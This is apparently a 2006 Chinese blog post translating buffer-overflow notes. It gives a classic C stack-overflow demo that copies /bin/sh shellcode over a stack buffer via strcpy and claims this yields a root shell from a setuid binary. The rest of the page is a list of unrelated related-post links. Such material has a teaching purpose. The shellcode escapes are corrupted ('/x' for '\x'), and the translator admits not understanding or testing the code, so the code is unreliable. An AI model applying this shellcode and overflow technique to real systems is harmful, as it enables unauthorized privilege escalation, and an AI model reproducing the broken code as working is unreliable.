缓冲区溢出笔记(2006年6月13日)

翻译 2006年06月13日 10:40:00
一个简单的例子
  
#include <stdio.h>
#include <string.h>

char shellcode[] =
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";

char large_string[128];

int main(int argc, char **argv)
{
   char buffer[96];
   int i;
   long *long_ptr = (long*)large_string;

   for ( i = 0; i < 32; i++)
   {
      *(long_ptr + i) = (int)buffer;
   }

   for ( i = 0; i < (int)strlen(shellcode); i++)
   {
      large_string[i] = shellcode[i];
   }

   strcpy( buffer,large_string );
   return 0;
}

   该程序运行后,我们成功的获取了系统的权限。
   在这个例子中我们强调了两个地方:第一个是栈溢出,该程序就是利用栈溢出的原理开发的。第二个是二进制编写的用户授权id,该二进制在系统最高权限运行。这两点结合在一起之后使我们就得到了一个root权限的shell。
(注:该段落的翻译虽然还算勉强能懂,但是程序让我很费解,不明白是为什么是这样,而且由于我的系统是windows这使我无法调试和验证该溢出程序的正确性)

java--封装一类Java对象,用户从输入对话框输入两个日期,程序将判断两个日期的大小关系(比如输出:您输入的第二个日期大于第一个日期)以及两个日期之间的间隔天数(比如输出:2006年6月6日和

import java.util.*; public class Date { int year; int month; int day; public Da...

[新闻] 20120613,微软6月13日发布7个安全补丁

大家好,我是 Richard Chen。微软于北京时间6月13日清晨发布7个安全补丁,其中3个为最高级别严重等级,其余4个为重要等级,共修复 Microsoft Windows, Internet E...

最近的工作中遇到的问题整理(2012年6月13日星期三)

2012年6月13日星期三 1.     今天删除了昨天的工程,粘出了除struts-congfig.xml以外所有改动的文件, 重新SVN checkout出了一份新的,全都弄好后,运行和昨天一...

2006年6月24日四级真题

  • 2009年03月14日 21:34
  • 23KB
  • 下载

2013年3月13日MFC学习笔记

1.昨天看完了孙先生的第一个视频,试着把他的程序完整地背一遍下来,顺便捋顺一下思路。他是用的Win32Application。 首先是头文件,要包含windows和stdio,涉及到了C语言的库。 ...

2006年6月硕士学位英语真题

  • 2008年12月29日 10:30
  • 111KB
  • 下载

Java学习笔记:JNI的使用(2016年1月13日14:21:45)

Java学习笔记:JNI的使用(2016年1月13日14:21:45)Jni(Java Native Interface)是java通过dll文件调用c/c++语言的方法。 以下为引用他人图片: ...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:缓冲区溢出笔记(2006年6月13日)
举报原因:
原因补充:

(最多只允许输入30个字)